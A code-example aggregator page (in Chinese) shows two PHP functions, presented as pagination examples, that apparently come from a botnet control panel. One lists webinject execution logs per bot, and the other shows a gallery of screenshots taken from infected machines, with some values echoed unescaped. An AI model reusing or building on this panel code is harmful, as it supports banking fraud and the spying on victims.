本文整理汇总了PHP中Paginator::pdo_limit方法的典型用法代码示例。如果您正苦于以下问题:PHP Paginator::pdo_limit方法的具体用法?PHP Paginator::pdo_limit怎么用?PHP Paginator::pdo_limit使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Paginator
的用法示例。
在下文中一共展示了Paginator::pdo_limit方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: actionExecLogs
/** Execution logs list page
* @param int $page
*/
function actionExecLogs($page = 1)
{
ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0);
$PAGER = new Paginator($page, 50);
$q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS
`b`.`bid`,
`b`.`name` AS `b_name`,
`b`.`mtime` AS `b_mtime`,
`h`.`botId`,
`h`.`etime`,
`h`.`exec_count`,
`h`.`exec_error`,
`h`.`debug_error`
FROM `botnet_webinjects_history` `h`
LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
ORDER BY
`h`.`etime` IS NULL DESC,
`b`.`mtime` DESC,
`h`.`etime` DESC
LIMIT :limit, :perpage
;');
$PAGER->pdo_limit($q_logs, ':limit', ':perpage');
$q_logs->execute();
$PAGER->total($this->db->found_rows());
echo '<table id="exec-logs" class="zebra lined">';
echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>';
echo '<TBODY>';
while ($log = $q_logs->fetchObject()) {
$state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error);
switch ($state) {
case '111':
$state_text = 'pending';
break;
case '011':
$state_text = 'success';
break;
case '001':
$state_text = 'exec error';
break;
case '010':
$state_text = 'bot error';
break;
default:
$state_text = '???';
break;
}
echo '<tr class="state' . $state . '">';
echo '<th>', htmlentities($log->botId), '</th>';
echo '<td>', htmlentities($log->b_name), '</td>';
echo '<td>', $state_text, '</td>';
# Exec count
echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>';
# Exec time
echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>';
# Exec error
echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>';
# Debug error
echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>';
echo '</tr>';
}
echo '</TBODY>';
echo '</table>';
echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator');
echo <<<HTML
\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css">
HTML;
ThemeEnd();
}
示例2: actionAjaxGallery
/** Display screenshots gallery
* @param string $date The date to display the gallery for: '2003-12-31'
* @param int $page The page number
* @param null $botId
* @param bool $feed_format Use the 'Feed' format? else, just a date-sorted list
*/
function actionAjaxGallery($date, $page = 1, $botId = null, $feedMode = 1)
{
$db = dbPDO::singleton();
$date_int = strtotime($date);
# Find the min date fitting the requirement
$q = $db->query('SELECT MAX(ftime)
FROM `botnet_screenshots`
WHERE ftime <= (:ftime + 60*60*24)
;', array(':ftime' => $date_int));
$d = $q->fetchColumn(0);
if (!is_null($d)) {
$date_int = $d;
$date = date('Y-m-d', $date_int);
}
# Paginator
$PAGER = new Paginator($page, self::SCREENSHOTS_PER_PAGE);
# Load images
$q = $db->prepare('
SELECT SQL_CALC_FOUND_ROWS *
FROM `botnet_screenshots` `bs`
WHERE
`ftime` BETWEEN :ftime0 AND :ftime1
AND (:botId IS NULL OR `botId`=:botId )
ORDER BY ' . ($feedMode ? '`group` DESC, `ftime` ASC' : '`ftime` DESC') . '
LIMIT :limit, :perpage
;');
$q->bindValue(':ftime0', $date_int - 60 * 60 * 24);
$q->bindValue(':ftime1', $date_int);
$q->bindValue(':botId', $botId);
$PAGER->pdo_limit($q, ':limit', ':perpage');
$q->setFetchMode(dbPDO::FETCH_OBJ);
$q->execute();
$PAGER->total($db->found_rows());
# Output
echo '<div class="botgallery-date" id="botgallery-date-' . $date . '">';
echo '<h1>', $date, '</h1>';
$prev_botId = null;
foreach ($q as $row) {
if ($prev_botId !== $row->botId) {
if (!is_null($prev_botId)) {
echo '</ul>';
}
echo '<h2><a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d'), '&botId=', $row->botId, "&feedMode={$feedMode}", '">', $row->botId, '</a></h2>';
echo '<ul class="botgallery">';
$prev_botId = $row->botId;
}
$img = $GLOBALS['config']['reports_path'] . '/files/' . $row->file;
echo '<li>', '<a href="', $img, '" rel="bs', $row->group, '" title="', htmlspecialchars($row->file), '" class="LOL">', '<img src="', $img, '" class="BUGAGA" />', '</a>', '</li>';
}
# Final
echo is_null($prev_botId) ? LNG_NO_RESULTS : '</ul>';
# Pager
if ($PAGER->page_count > 1) {
echo $PAGER->jPager3k('?m=reports_images/ajaxGallery&date=' . $date . '&page=%page%' . (is_null($botId) ? '' : '&botId=' . $botId) . "&feedMode={$feedMode}", null, 'jPager3k');
}
echo '</div>';
# Load more results
if ($db->query('SELECT EXISTS(SELECT 1 FROM `botnet_screenshots` WHERE `ftime`<' . $date_int . ')')->fetchColumn(0)) {
echo '<a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d', $date_int - 60 * 60 * 24), is_null($botId) ? '' : '&botId=' . $botId, "&feedMode={$feedMode}", '" id="load_more">', LNG_LOAD_MORE, '</a>';
}
}